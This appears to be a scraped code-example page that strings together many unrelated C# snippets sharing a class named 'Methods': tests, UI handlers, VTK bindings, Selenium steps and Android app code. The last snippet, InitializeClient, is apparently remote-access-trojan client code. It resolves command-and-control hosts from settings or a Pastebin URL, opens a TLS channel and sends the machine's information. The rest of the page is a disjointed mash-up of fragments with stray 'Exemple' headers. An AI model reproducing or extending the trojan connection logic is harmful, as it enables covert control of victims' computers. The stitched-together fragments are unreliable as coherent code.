public void CheckValidationPass()
 {
     Methods validate = new Methods();
     string[] a = new string[4] { "asdd", "asa", "asdd", "dnjn" };
     bool k = validate.ValidateForm(a);
     Assert.True(k);
 }
Exemple #2
0
 static void Main(string[] args)
 {
     int num1, num2;
     Console.Write("Hello ");
     Methods met = new Methods();
     while(true)
     {
         Console.WriteLine("type in two integer numbers:");
         try
         {
             num1 = int.Parse(Console.ReadLine());
             num2 = int.Parse(Console.ReadLine());
             Console.WriteLine($"Result was: {met.RandomMethod(num1, num2)}");
             Console.WriteLine($"Method used: {met.ReturnActiveMethod()}");
         }
         catch(ArgumentNullException)
         {
             Console.WriteLine("Invalid entry");
         }
         catch(FormatException)
         {
             Console.WriteLine("Not a number");
         }
         catch(OverflowException)
         {
             Console.WriteLine("Number was to large");
         }
     }
 }
		public void Build(TypeBuilder typeBuilder, FieldBuilder injectionSetField, Type injectionType)
		{
			var parameterTypes = new[] { typeof(DbEntityEntry), typeof(IDictionary<object, object>) };
			var returnType = typeof(DbEntityValidationResult);

			var methods = new Methods(typeBuilder, MethodName, parameterTypes, returnType);

			var injectionMethod = injectionType.GetMethod("On" + MethodName, new[] { returnType, parameterTypes[0], parameterTypes[1] });

			var il = methods.GetILGenerator(injectionType);

			// declare result variable
			il.DeclareLocal(typeof(DbEntityValidationResult));

			il.Emit(OpCodes.Ldarg_0);
			il.Emit(OpCodes.Ldarg_1);
			il.Emit(OpCodes.Ldarg_2);
			il.Emit(OpCodes.Call, methods.BaseMethod);
			il.Emit(OpCodes.Stloc_3);

			il.EmitGetInjections(injectionSetField, injectionType);

			il.EmitInjectionLoop(x => 
			{
				x.Emit(OpCodes.Ldloc_3);
				x.Emit(OpCodes.Ldarg_1);
				x.Emit(OpCodes.Ldarg_2);

				x.Emit(OpCodes.Callvirt, injectionMethod);
			});

			il.Emit(OpCodes.Ldloc_3);

			il.Emit(OpCodes.Ret);
		}
		public void Build(TypeBuilder typeBuilder, FieldBuilder injectionSetField, Type injectionType)
		{
			var parameterTypes = new[] { typeof(DbModelBuilder), typeof(DbContext) };

			var methods = new Methods(typeBuilder, MethodName, new[] { typeof(DbModelBuilder) });
			var injectionMethod = ReflectionHelper.GetMethod(injectionType, MethodName, BindingFlags.Instance | BindingFlags.Public, parameterTypes);

			var il = methods.GetILGenerator(injectionType);

			DeclareLocals(injectionType, il);

			il.Emit(OpCodes.Ldarg_0);
			il.Emit(OpCodes.Ldarg_1);
			il.Emit(OpCodes.Call, methods.BaseMethod);

			il.EmitGetInjections(injectionSetField, injectionType);

			il.EmitInjectionLoop(x =>
			{
				x.Emit(OpCodes.Ldarg_1);
				x.Emit(OpCodes.Ldarg_0);

				x.Emit(OpCodes.Callvirt, injectionMethod);

				ConfigureDbSets(typeBuilder, x);
			});

			il.Emit(OpCodes.Ret);
		}
Exemple #5
0
 public static Hashtable MakeHash( string resourcePath , Methods method , bool fadeIn )
 {
     Hashtable hash = new Hashtable();
     hash["storage"] = resourcePath;
     hash["destroy"] = ( method == Methods.DESTROY_AND_LOAD ) ? "true" : "false";
     hash["fade"] = fadeIn ? "true" : "false";
     return hash;
 }
Exemple #6
0
 public void TestMethod6()
 {
     DateTime Date = new DateTime();
     Methods c = new Methods();
     string d = "Mon";
     string a = "Thu";
     Assert.AreEqual(d,c.TradeStop(Date.AddSeconds(1463674549)));
     Assert.IsFalse(a==c.TradeStop(Date.AddSeconds(1463674549)));
 }
 /// <summary>
 /// Handles the OnClick event of the ApplicationBarIconButton control.
 /// </summary>
 /// <param name="sender">The source of the event.</param>
 /// <param name="e">The <see cref="EventArgs"/> instance containing the event data.</param>
 /// <exception cref="System.NotImplementedException"></exception>
 private void ApplicationBarIconButton_OnClick(object sender, EventArgs e)
 {
     methods = new Methods();
     currentMovie.WantSee = (bool) RadioButtonWant.IsChecked;
     currentMovie.Wish = (bool) RadioButtonWish.IsChecked;
     methods.UpdateMovie(currentMovie);
     MessageBox.Show("The movie has been updated");
     NavigationService.Navigate(new Uri("/Pages/Menu.xaml", UriKind.Relative));
 }
 public TemplateSettingObject()
 {
     _TableDataGateway = new Project();
     _StoreProcedures = new StoreProceduresPattern();
     _Entities = new Entities();
     _MethodsName = new MethodsName();
     _Methods = new Methods();
     _OthersSettings = new Others();
 }
 public void CheckValidationFail()
 {
     Methods validate = new Methods();
     string[] a = new string[4] { "test", "test1", "test2", "" };
     bool k = validate.ValidateForm(a);
     Assert.False(k);
     string[] b = new string[4] { "test", "", "  ", "test3" };
     bool j = validate.ValidateForm(b);
     Assert.False(j);
 }
        public MainViewModel(MainWindow mainFrm)
        {
            Methods methods = new Methods();
            CheckerMethods checkerMethods = new CheckerMethods();

            ShowInfoWindow = new RelayCommand(() => methods.OpenInfoWindow(mainFrm));

            EncryptText = new RelayCommand(() => methods.EncryptText(CryptographyString),
                                            ()=> checkerMethods.CheckEncryption(CryptographyString.DecryptedString, CryptographyString.Password));
            DecryptText = new RelayCommand(() => methods.DecryptText(CryptographyString),
                                            ()=> checkerMethods.CheckDecryption(CryptographyString.EncryptedString, CryptographyString.Password));
        }
Exemple #11
0
 public void TestMethod3()
 {
     Methods c = new Methods();
     double Value;
     List<double> BufferS = new List<double>();
     BufferS.Add(3);
     BufferS.Add(4);
     BufferS.Add(5);
     BufferS.Add(6);
     Value = c.Trade(true, BufferS, 2);
     Assert.AreEqual(4, Value);
 }
Exemple #12
0
 public void TestMethod1()
 {
     List<DateTime> DINET = new List<DateTime>();
     List<double> Num = new List<double>();
     Num.Add(0);
     Methods a = new Methods();
     DINET = a.Convert(Num);
     string zna;
     zna = DINET[0].ToString("F");
     Console.WriteLine(zna);
     string zna1 = "1 января 1970 г. 0:00:00";
     Assert.AreEqual(zna1, zna);
 }
 /// <summary>
 /// Called when a page becomes the active page in a frame.
 /// </summary>
 /// <param name="e">An object that contains the event data.</param>
 protected override void OnNavigatedTo(NavigationEventArgs e)
 {
     methods = new Methods();
     base.OnNavigatedTo(e);
     string id;
     if (NavigationContext.QueryString.TryGetValue("id", out id))
     {
         var currentMovie = methods.GetMovie(Convert.ToInt32(id));
         TxtMovieTitle.Text = currentMovie.Title;
         BtnSearch_OnClick(null, null);
         BtnSearch.IsEnabled = false;
         DisableAppBar();
     }
 }
Exemple #14
0
        public MainViewModel()
        {
            timer = new DispatcherTimer();
            timer.Interval = TimeSpan.FromMilliseconds(5000);
            timer.Tick += Timer_Tick;
            timer.Start();

            Methods methods = new Methods();
            CheckerMethods checkerMethods = new CheckerMethods();
            methods.GetProcessList(ProcessList);

            RefreshProcessList = new RelayCommand(() => methods.GetProcessList(ProcessList));
            KillSelectedProcess = new RelayCommand(() => methods.KillSelectedTask(ProcessList[SelectedProcessIndex]),
                                                        () => checkerMethods.CheckKillSelectedProcess(SelectedProcessIndex, ProcessList));
            KillAllProcesses = new RelayCommand(() => methods.KillAllTasks(ProcessList));
        }
 /// <summary>
 /// Handles the OnClick event of the BtnAddCollection control.
 /// </summary>
 /// <param name="sender">The source of the event.</param>
 /// <param name="e">The <see cref="EventArgs"/> instance containing the event data.</param>
 private void BtnAddCollection_OnClick(object sender, EventArgs e)
 {
     methods = new Methods();
     var movie = new MovieTable
                 {
                     Director = BlockDirectors.Text,
                     Title = TxtMovieTitle.Text,
                     Year = Convert.ToInt32(BlockYear.Text),
                     WantSee = false,
                     Wish = false,
                     UrlImage = urlImage
                 };
     methods.InsertMovie(movie);
     MessageBox.Show("The movie has been added to the collection");
     NavigationService.Navigate(new Uri("/Pages/Menu.xaml", UriKind.Relative));
 }
        protected async override Task<HttpResponseMessage> SendAsync(
        HttpRequestMessage request, CancellationToken cancellationToken)
        {
            Stopwatch sw = new Stopwatch();
            sw.Start();
            string _requestId = Guid.NewGuid().ToString();
            request.Properties.Add("requestId", _requestId);

            // Call the inner handler.
            var response = await base.SendAsync(request, cancellationToken);

            sw.Stop();
            MonitorObject MonitorObject = new Methods().ToMonitorObject(request.Method.ToString(), request.RequestUri.PathAndQuery, _requestId, response.IsSuccessStatusCode, response.StatusCode.ToString(), (int)Math.Round(sw.Elapsed.TotalMilliseconds));
            LoggingUtility Log = LoggerFactory.GetLogger("MonitorLogger");
            Log.InfoMonitor(MonitorObject);

            //Log.DebugFormat("{0} {1}", request.Properties["requestId"].ToString(), request.RequestUri.OriginalString);
            return response;
        }
 /// <summary>
 /// Called when a page becomes the active page in a frame.
 /// </summary>
 /// <param name="e">An object that contains the event data.</param>
 protected override void OnNavigatedTo(NavigationEventArgs e)
 {
     methods = new Methods();
     base.OnNavigatedTo(e);
     string id;
     if (NavigationContext.QueryString.TryGetValue("id", out id))
     {
         currentMovie = methods.GetMovie(Convert.ToInt32(id));
         BlockTitle.Text = currentMovie.Title;
         BlockYear.Text = currentMovie.Year.ToString(CultureInfo.InvariantCulture);
         BlockDirector.Text = currentMovie.Director;
         if (currentMovie.WantSee)
             RadioButtonWant.IsChecked = true;
         if (currentMovie.Wish)
             RadioButtonWish.IsChecked = true;
         var uri = new Uri(currentMovie.UrlImage, UriKind.Absolute);
         ImgCover.Source = new BitmapImage(uri);
     }
 }
        static void Main(string[] args)
        {
            Model model = new Model();
            Methods methods = new Methods();
            //Client client = new Client();

            Console.WriteLine("Fetching clients data...");
            methods.getClients(ref model);
            Console.WriteLine("Success!");

            Console.WriteLine("Fetching files and products...");
            methods.getFiles(ref model);

            Console.WriteLine("Success!");

            Console.WriteLine("Djoka");

            //foreach (Client loopClient in model.clients)
            //{
            //    loopClient.new_id = methods.insertClient(loopClient);
            //}

            foreach (Client client in model.clients)
                Console.WriteLine(client.fname + " " + client.old_id);

            int picturesCount = 0;
            foreach (Product product in model.products) {
                Console.WriteLine("Product name: {0} \n", product.name);
                if (product.pictures.Count == 0)
                    Console.WriteLine("No pictures for this product");
                else {
                    foreach (Picture pic in product.pictures) {
                        Console.WriteLine("Picture for this product: {0}", pic.name);
                        picturesCount++;
                    }
                }
            }

            Console.WriteLine("Products count: {0}, pictures count: {1}, clients count: {2}", model.products.Count, picturesCount, model.clients.Count);

            Console.ReadKey();
        }
		public void Build(TypeBuilder typeBuilder, FieldBuilder injectionSetField, Type injectionType)
		{
			var methods = new Methods(typeBuilder, MethodName, new Type[0], typeof(int));

			var parameterTypes = new[] { typeof(DbContext) };
			var beforeMethod = injectionType.GetMethod("OnBeforeSaveChanges", parameterTypes);
			var afterMethod = injectionType.GetMethod("OnAfterSaveChanges", parameterTypes);

			var il = methods.GetILGenerator(injectionType);
			
			EmitHelper.DeclareLocalsForInjection(injectionType, il);
			
			// declare result variable
			il.DeclareLocal(typeof(int));

			il.EmitGetInjections(injectionSetField, injectionType);

			il.EmitInjectionLoop(x =>
			{
				x.Emit(OpCodes.Ldarg_0);

				x.Emit(OpCodes.Callvirt, beforeMethod);
			});

			il.Emit(OpCodes.Ldarg_0);
			il.Emit(OpCodes.Call, methods.BaseMethod);
			il.Emit(OpCodes.Stloc_3);

			il.EmitInjectionLoop(x =>
			{
				x.Emit(OpCodes.Ldarg_0);

				x.Emit(OpCodes.Callvirt, afterMethod);
			});

			il.Emit(OpCodes.Ldloc_3);
			
			il.Emit(OpCodes.Ret);
		}
 static vtkVolumeProperty()
 {
     vtkVolumeProperty.MRClassNameKey = "class vtkVolumeProperty";
     Methods.RegisterType(Assembly.GetExecutingAssembly(), vtkVolumeProperty.MRClassNameKey, Type.GetType("Kitware.VTK.vtkVolumeProperty"));
 }
Exemple #21
0
        private void RunStateMachine(string testName, ActionModel step, TestResults testResults)
        {
            if (step.Object == null)
            {
                testResults.AddError(testName, $"Undefined step: {step.StepName}");
            }

            switch (step.Command)
            {
            case Commands.Undefined:
            {
                testResults.AddError(testName, $"Undefined step: {step.StepName}");
                result = false;
            }
            break;

            case Commands.OpenBrowser:
            {
                // TODO parse browser string
                driver = new ChromeDriver();
                engine = new WebSearchEngine(driver);
                result = true;
            }
            break;

            case Commands.Click:
            {
                if (step.Object is Element)
                {
                    Element     element      = (Element)step.Object;
                    IWebElement foundElement = null;

                    if (element.Identificator == "xpath")
                    {
                        foundElement = engine.Find(By.XPath(element.Locator));
                    }
                    if (element.Identificator == "css")
                    {
                        foundElement = engine.Find(By.CssSelector(element.Locator));
                    }
                    if (foundElement == null)
                    {
                        testResults.AddError(testName, $"Element '{element.Name}' was not found");
                        result = false;
                        return;
                    }
                    else
                    {
                        foundElement.SafeClick();
                        WebPageConsumer.CurrentElement = foundElement;
                        result = true;
                        return;
                    }
                }
                testResults.AddError(testName, $"Step: {step.StepName}. No matching elements found in page collection");
                result = false;
            }
            break;

            case Commands.OpenTab:
            {
                int tabIndex = (int)step.Object;
                if (driver.WindowHandles.Count >= tabIndex)
                {
                    driver.SwitchTo().Window(driver.WindowHandles[tabIndex - 1]);
                }
                result = true;
            }
            break;

            case Commands.OpenPage:
            {
                IPage page = (IPage)step.Object;
                if (page == null)
                {
                    testResults.AddError(testName, $"Step: {step.StepName}. Page was not found");
                    result = false;
                    return;
                }
                driver.Url = page.Url;
                result     = true;
            }
            break;

            case Commands.Visible:
            {
                if (step.Object is Element)
                {
                    Element     element      = (Element)step.Object;
                    IWebElement foundElement = null;

                    if (element.Identificator == "xpath")
                    {
                        foundElement = engine.Find(By.XPath(element.Locator));
                    }
                    if (element.Identificator == "css")
                    {
                        foundElement = engine.Find(By.CssSelector(element.Locator));
                    }
                    if (foundElement == null)
                    {
                        testResults.AddError(testName, $"Element '{element.Name}' was not found");
                        result = false;
                    }
                    result = foundElement.IsDisplayed();
                    WebPageConsumer.CurrentElement = foundElement;
                    return;
                }
                result = false;
            }
            break;

            case Commands.CreateTab:
            {
                // TODO does not work
                IWebElement body = driver.FindElement(By.TagName("body"));
                body.SendKeys(Keys.Control + 't');
                driver.SwitchToLastWindow();
                result = true;
            }
            break;

            case Commands.ElementText:
            {
                if (step.Object is Element)
                {
                    Element element = (Element)step.Object;

                    if (element.Identificator == "xpath")
                    {
                        var foundElement = engine.Find(By.XPath(element.Locator));

                        if (foundElement == null)
                        {
                            testResults.AddError(testName, $"Element '{element.Name}' was not found");
                            result = false;
                        }

                        if (foundElement.IsDisplayed())
                        {
                            var actualElementText = foundElement.GetAttribute("value");
                            var opentag           = "<";
                            var closeTag          = ">";

                            if (string.IsNullOrEmpty(actualElementText))
                            {
                                actualElementText = foundElement.Text;
                            }

                            if (step.StepName.Contains(opentag) && step.StepName.Contains(closeTag))
                            {
                                var placeHolders = Regex.Matches(step.StepName, $"<(.*?)>");

                                var placeHolder  = placeHolders[0].Value;
                                var expectedText = placeHolder.Substring(1, placeHolder.Length - 2);
                                if (expectedText == actualElementText)
                                {
                                    result = true;
                                    WebPageConsumer.CurrentElement = foundElement;
                                    return;
                                }
                            }
                            else
                            {
                                LoggerHub.AddNotificationToHub($"Test {testName}. Step: {step.StepName}. Input text is not defined. Please use <> to specify a text");
                            }

                            testResults.AddError(testName,
                                                 $"step: {step.StepName}. Actual element text is {actualElementText}");
                            result = false;
                        }
                    }

                    if (element.Identificator == "css")
                    {
                        var foundElement = engine.Find(By.XPath(element.Locator));

                        if (foundElement == null)
                        {
                            testResults.AddError(testName, $"Step: {step.StepName}. Element '{element.Name}' was not found");
                            result = false;
                        }

                        if (foundElement.IsDisplayed())
                        {
                            var actualElementText = foundElement.GetAttribute("value");

                            if (string.IsNullOrEmpty(actualElementText))
                            {
                                actualElementText = foundElement.Text;
                            }

                            if (step.StepName.Substring(step.StepName.IndexOf(element.Name) + element.Name.Length)
                                .Contains(actualElementText))
                            {
                                result = true;
                                WebPageConsumer.CurrentElement = foundElement;
                                return;
                            }

                            testResults.AddError(testName,
                                                 $"Step: {step.StepName}. Actual element text is {actualElementText}");
                            result = false;
                        }

                        return;
                    }

                    result = false;
                }
            }
            break;

            case Commands.PageTitle:
            {
                result = true;
            }
            break;

            case Commands.SwitchFrame:
            {
                result = true;
            }
            break;

            case Commands.CloseBrowser:
            {
                driver.Close();
                //driver.Quit();
                //driver.Dispose();
                result = true;
            }
            break;

            case Commands.TextInput:
            {
                if (step.Object is string)
                {
                    if (WebPageConsumer.CurrentElement != null)
                    {
                        WebPageConsumer.CurrentElement.SendKeys($"{step.Object}");
                        result = true;
                        return;
                        // TODO add verification for entered text
                    }

                    testResults.AddError(testName, $"Step: {step.StepName}. Current element is not defined.");
                }

                testResults.AddError(testName, $"Step: {step.StepName}. Input text failed.");
                result = false;
            }
            break;

            case Commands.Wait:
            {
                if (step.Object is int)
                {
                    Methods.WaitForSeconds((int)step.Object);
                    result = true;
                    return;
                }

                testResults.AddError(testName, $"Step: {step.StepName}. Failed to extract a waiting time.");
                result = false;
            }
            break;

            case Commands.Stop:
            {
                Logger.WritePostponedInfo($"Test {testName} is paused. Press 'P' to continue.");
                Menu.RestartMenu();
                Console.ReadKey();
                result = true;
                return;
            }
            break;
            }
        }
Exemple #22
0
        private void ProcessResponse()
        {
            string webResponse = Variables.WebResponse;
            bool   hasAvatar   = false;

            if (webResponse.Split('[', ']')[1] == "SUCCESS")
            {
                Form parentForm = ParentForm;

                // Loads the XML file ready to be parsed.
                XmlDocument xmlDocument = new XmlDocument();
                xmlDocument.LoadXml(webResponse.Replace("[SUCCESS]", ""));

                // Iterates through each program node.
                foreach (XmlNode xmlInformationNode in xmlDocument.Cast <XmlNode>().SelectMany(xmlNode => xmlNode.Cast <XmlNode>().SelectMany(xmlUserNode => xmlUserNode.Cast <XmlNode>())))
                {
                    XmlNode node = xmlInformationNode;

                    try
                    {
                        Invoke((MethodInvoker) delegate
                        {
                            switch (node.Name)
                            {
                            case "email":
                                LabelEmailAddress.Text = node.InnerText;
                                break;

                            case "username":
                                LabelUsername.Text = node.InnerText;
                                if (parentForm != null)
                                {
                                    parentForm.Text = String.Format("ByteGuard - {0}'s profile", node.InnerText);
                                }
                                break;

                            case "registeredtime":
                                LabelRegistrationDate.Text = Methods.TimeStampToDate(Convert.ToInt32(node.InnerText));
                                break;

                            case "lastaction":
                                LabelLastOnline.Text = Methods.TimeStampToDate(Convert.ToInt32(node.InnerText));
                                break;

                            // TODO: Show the user is verified/activated.
                            case "isactivated":
                                break;

                            case "description":
                                TextBoxUserDescription.Text = node.InnerText;
                                break;

                            // TODO: Do something!
                            case "hasavatar":
                                hasAvatar = (Convert.ToInt32(node.InnerText) == 1);
                                break;
                            }
                        });
                    }
                    catch
                    {
                        // Catches error if controls are disposed.
                    }
                }

                if (hasAvatar)
                {
                    Thread downloadAvatarThreaded = new Thread(DownloadAvatar);
                    downloadAvatarThreaded.Start(_avatarPath);
                }

                Invoke((MethodInvoker) delegate
                {
                    ButtonAddReputation.Enabled = true;
                    ButtonSendMessage.Enabled   = true;
                });

                ThemeContainer.SetStatus("Send the user a message or add to their reputation.", 3);
            }
            else
            {
                // Failed to create account, display error.
                ThemeContainer.SetStatus(webResponse.Replace("[ERROR] ", String.Empty), 1);
            }
        }
        private async Task LoadRandomGroup(string offset)
        {
            if (Methods.CheckConnectivity())
            {
                var countList = RandomAdapter.GroupList.Count;

                var dictionary = new Dictionary <string, string>
                {
                    { "limit", "30" },
                    { "group_offset", offset },
                    { "search_key", "a" },
                };

                var(respondCode, respondString) = await RequestsAsync.Global.Get_Search(dictionary);

                if (respondCode.Equals(200))
                {
                    if (respondString is GetSearchObject result)
                    {
                        var respondList = result.Groups.Count;
                        if (respondList > 0)
                        {
                            if (countList > 0)
                            {
                                foreach (var item in from item in result.Groups let check = RandomAdapter.GroupList.FirstOrDefault(a => a.Id == item.Id) where check == null select item)
                                {
                                    RandomAdapter.GroupList.Add(item);
                                }

                                RunOnUiThread(() => { RandomAdapter.NotifyItemRangeInserted(countList, RandomAdapter.GroupList.Count - countList); });
                            }
                            else
                            {
                                RandomAdapter.GroupList = new ObservableCollection <GroupClass>(result.Groups);

                                RunOnUiThread(() =>
                                {
                                    if (RandomGroupInflated == null)
                                    {
                                        RandomGroupInflated = RandomGroupViewStub.Inflate();
                                    }

                                    RecyclerInflaterRandomGroup = new TemplateRecyclerInflater();
                                    RecyclerInflaterRandomGroup.InflateLayout <GroupClass>(this, RandomGroupInflated, RandomAdapter, TemplateRecyclerInflater.TypeLayoutManager.LinearLayoutManagerVertical, 0, true, GetString(Resource.String.Lbl_RandomGroups));
                                });
                            }
                        }
                        else
                        {
                            if (RecyclerInflaterRandomGroup?.Recyler != null && (RandomAdapter.GroupList.Count > 10 && !RecyclerInflaterRandomGroup.Recyler.CanScrollVertically(1)))
                            {
                                Toast.MakeText(this, GetText(Resource.String.Lbl_NoMoreGroup), ToastLength.Short).Show();
                            }
                        }
                    }
                }
                else
                {
                    Methods.DisplayReportResult(this, respondString);
                }

                RunOnUiThread(ShowEmptyPage);
            }
            else
            {
                Inflated = EmptyStateLayout.Inflate();
                EmptyStateInflater x = new EmptyStateInflater();
                x.InflateLayout(Inflated, EmptyStateInflater.Type.NoConnection);
                if (!x.EmptyStateButton.HasOnClickListeners)
                {
                    x.EmptyStateButton.Click += null;
                    x.EmptyStateButton.Click += EmptyStateButtonOnClick;
                }

                Toast.MakeText(this, GetString(Resource.String.Lbl_CheckYourInternetConnection), ToastLength.Short).Show();
            }
        }
 static vtkAngleRepresentation3D()
 {
     vtkAngleRepresentation3D.MRClassNameKey = "class vtkAngleRepresentation3D";
     Methods.RegisterType(Assembly.GetExecutingAssembly(), vtkAngleRepresentation3D.MRClassNameKey, Type.GetType("Kitware.VTK.vtkAngleRepresentation3D"));
 }
        private void AddPostAutoLinkTextViewOnAutoLinkOnClick(object sender, AutoLinkOnClickEventArgs e)
        {
            try
            {
                if (e.P0 == AutoLinkMode.ModeEmail)
                {
                    Methods.App.SendEmail(Activity, e.P1.Replace(" ", ""));
                }
                else if (e.P0 == AutoLinkMode.ModeUrl)
                {
                    string url = e.P1.Replace(" ", "");
                    if (!e.P1.Contains("http"))
                    {
                        url = "http://" + e.P1.Replace(" ", "");
                    }

                    //var intent = new Intent(Activity, typeof(LocalWebViewActivity));
                    //intent.PutExtra("URL", url);
                    //intent.PutExtra("Type", url);
                    //Activity.StartActivity(intent);
                    new IntentController(Activity).OpenBrowserFromApp(url);
                }
                else if (e.P0 == AutoLinkMode.ModeHashtag)
                {
                    var intent = new Intent(Activity, typeof(HashTagPostsActivity));
                    intent.PutExtra("Id", e.P1.Replace(" ", ""));
                    intent.PutExtra("Tag", e.P1.Replace(" ", ""));
                    Activity.StartActivity(intent);
                }
                else if (e.P0 == AutoLinkMode.ModeMention)
                {
                    var    dataUSer = ListUtils.MyProfileList.FirstOrDefault();
                    string name     = e.P1.Replace("@", "").Replace(" ", "");

                    var sqlEntity = new SqLiteDatabase();
                    var user      = sqlEntity.Get_DataOneUser(name);
                    sqlEntity.Dispose();

                    if (user != null)
                    {
                        WoWonderTools.OpenProfile(Activity, user.UserId, user);
                    }
                    else
                    {
                        if (name == dataUSer?.Name || name == dataUSer?.Username)
                        {
                            if (PostClickListener.OpenMyProfile)
                            {
                                return;
                            }
                            var intent = new Intent(Activity, typeof(MyProfileActivity));
                            Activity.StartActivity(intent);
                        }
                        else
                        {
                            var intent = new Intent(Activity, typeof(UserProfileActivity));
                            //intent.PutExtra("UserObject", JsonConvert.SerializeObject(item));
                            intent.PutExtra("name", name);
                            Activity.StartActivity(intent);
                        }
                    }
                }
                else if (e.P0 == AutoLinkMode.ModePhone)
                {
                    Methods.App.SaveContacts(Activity, e.P1.Replace(" ", ""), "", "2");
                }
                else if (e.P0 == AutoLinkMode.ModeCustom)
                {
                    var dialog = new MaterialDialog.Builder(Activity);

                    dialog.Title(Activity.GetText(Resource.String.Lbl_Location));
                    dialog.PositiveText(Activity.GetText(Resource.String.Lbl_RemoveLocation)).OnPositive(this);
                    dialog.NeutralText(Activity.GetText(Resource.String.Lbl_ChangeLocation)).OnNeutral(this);
                    dialog.NegativeText(Activity.GetText(Resource.String.Lbl_Cancel)).OnNegative(this);
                    //dialog.AlwaysCallSingleChoiceCallback();
                    dialog.Build().Show();
                }
            }
            catch (Exception exception)
            {
                Methods.DisplayReportResultTrack(exception);
            }
        }
Exemple #26
0
 private void Button10_Click(object sender, EventArgs e)
 {
     Methods se = new Methods();
     Deal Sdelka = new Deal(false, BufferS, tic);
     BUY.Add(Sdelka);  // Запомнить значение продажи           
 }
        private void AutoLinkTextViewOnAutoLinkOnClick(object sender, AutoLinkOnClickEventArgs autoLinkOnClickEventArgs)
        {
            try
            {
                var typetext = Methods.FunString.Check_Regex(autoLinkOnClickEventArgs.P1.Replace(" ", ""));
                if (typetext == "Email" || autoLinkOnClickEventArgs.P0 == AutoLinkMode.ModeEmail)
                {
                    Methods.App.SendEmail(Activity, autoLinkOnClickEventArgs.P1.Replace(" ", ""));
                }
                else if (typetext == "Website" || autoLinkOnClickEventArgs.P0 == AutoLinkMode.ModeUrl)
                {
                    string url = autoLinkOnClickEventArgs.P1.Replace(" ", "");
                    if (!autoLinkOnClickEventArgs.P1.Contains("http"))
                    {
                        url = "http://" + autoLinkOnClickEventArgs.P1.Replace(" ", "");
                    }

                    //var intent = new Intent(Activity, typeof(LocalWebViewActivity));
                    //intent.PutExtra("URL", url);
                    //intent.PutExtra("Type", url);
                    //Activity.StartActivity(intent);
                    new IntentController(Activity).OpenBrowserFromApp(url);
                }
                else if (typetext == "Hashtag" || autoLinkOnClickEventArgs.P0 == AutoLinkMode.ModeHashtag)
                {
                    var intent = new Intent(Activity, typeof(HashTagPostsActivity));
                    intent.PutExtra("Id", autoLinkOnClickEventArgs.P1.Replace(" ", ""));
                    intent.PutExtra("Tag", autoLinkOnClickEventArgs.P1.Replace(" ", ""));
                    Activity.StartActivity(intent);
                }
                else if (typetext == "Mention" || autoLinkOnClickEventArgs.P0 == AutoLinkMode.ModeMention)
                {
                    var    dataUSer = ListUtils.MyProfileList.FirstOrDefault();
                    string name     = autoLinkOnClickEventArgs.P1.Replace("@", "").Replace(" ", "");

                    var sqlEntity = new SqLiteDatabase();
                    var user      = sqlEntity.Get_DataOneUser(name);
                    sqlEntity.Dispose();

                    if (user != null)
                    {
                        WoWonderTools.OpenProfile(Activity, user.UserId, user);
                    }
                    else
                    {
                        if (name == dataUSer?.Name || name == dataUSer?.Username)
                        {
                            if (PostClickListener.OpenMyProfile)
                            {
                                return;
                            }
                            var intent = new Intent(Activity, typeof(MyProfileActivity));
                            Activity.StartActivity(intent);
                        }
                        else
                        {
                            var intent = new Intent(Activity, typeof(UserProfileActivity));
                            //intent.PutExtra("UserObject", JsonConvert.SerializeObject(item));
                            intent.PutExtra("name", name);
                            Activity.StartActivity(intent);
                        }
                    }
                }
                else if (typetext == "Number" || autoLinkOnClickEventArgs.P0 == AutoLinkMode.ModePhone)
                {
                    Methods.App.SaveContacts(Activity, autoLinkOnClickEventArgs.P1.Replace(" ", ""), "", "2");
                }
            }
            catch (Exception exception)
            {
                Methods.DisplayReportResultTrack(exception);
            }
        }
Exemple #28
0
 public BooScope(CompiledProject compiledProject, BooSource source, ParseRequest parseRequest, Methods methods, ParseRequestProcessor parseRequestProcessor)
     : this(compiledProject, source, parseRequest, parseRequestProcessor)
 {
     this.methods = methods;
 }
Exemple #29
0
		void M (Methods m)
		{
			m.await ();
			this.await ();
			// FIXME: await ();
		}
 static vtkFixedPointRayCastImage()
 {
     vtkFixedPointRayCastImage.MRClassNameKey = "class vtkFixedPointRayCastImage";
     Methods.RegisterType(Assembly.GetExecutingAssembly(), vtkFixedPointRayCastImage.MRClassNameKey, Type.GetType("Kitware.VTK.vtkFixedPointRayCastImage"));
 }
        public static void InitializeClient()
        {
            try
            {
                TcpClient = new System.Net.Sockets.Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp)
                {
                    ReceiveBufferSize = 50 * 1024,
                    SendBufferSize    = 50 * 1024,
                };

                if (Settings.Pastebin == "null")
                {
                    string ServerIP   = Settings.Hosts.Split(',')[new Random().Next(Settings.Hosts.Split(',').Length)];
                    int    ServerPort = Convert.ToInt32(Settings.Ports.Split(',')[new Random().Next(Settings.Ports.Split(',').Length)]);

                    if (IsValidDomainName(ServerIP))                              //check if the address is alphanumric (meaning its a domain)
                    {
                        IPAddress[] addresslist = Dns.GetHostAddresses(ServerIP); //get all IP's connected to that domain

                        foreach (IPAddress theaddress in addresslist)             //we do a foreach becasue a domain can lead to multiple IP's
                        {
                            try
                            {
                                TcpClient.Connect(theaddress, ServerPort); //lets try and connect!
                                if (TcpClient.Connected)
                                {
                                    break;
                                }
                            }
                            catch { }
                        }
                    }
                    else
                    {
                        TcpClient.Connect(ServerIP, ServerPort); //legacy mode connect (no DNS)
                    }
                }
                else
                {
                    using (WebClient wc = new WebClient())
                    {
                        NetworkCredential networkCredential = new NetworkCredential("", "");
                        wc.Credentials = networkCredential;
                        string   resp = wc.DownloadString(Settings.Pastebin);
                        string[] spl  = resp.Split(new[] { ":" }, StringSplitOptions.None);
                        Settings.Hosts = spl[0];
                        Settings.Ports = spl[new Random().Next(1, spl.Length)];
                        TcpClient.Connect(Settings.Hosts, Convert.ToInt32(Settings.Ports));
                    }
                }

                if (TcpClient.Connected)
                {
                    Debug.WriteLine("Connected!");
                    IsConnected = true;
                    SslClient   = new SslStream(new NetworkStream(TcpClient, true), false, ValidateServerCertificate);
                    SslClient.AuthenticateAsClient(TcpClient.RemoteEndPoint.ToString().Split(':')[0], null, SslProtocols.Tls, false);
                    Buffer = new byte[4];
                    MS     = new MemoryStream();
                    Send(Methods.SendInfo());
                    Tick = new Timer(new TimerCallback(CheckServer), null, new Random().Next(15 * 1000, 30 * 1000), new Random().Next(15 * 1000, 30 * 1000));
                    SslClient.BeginRead(Buffer, 0, Buffer.Length, ReadServertData, null);
                }
                else
                {
                    IsConnected = false;
                    return;
                }
            }
            catch
            {
                Debug.WriteLine("Disconnected!");
                IsConnected = false;
                return;
            }
        }
Exemple #32
0
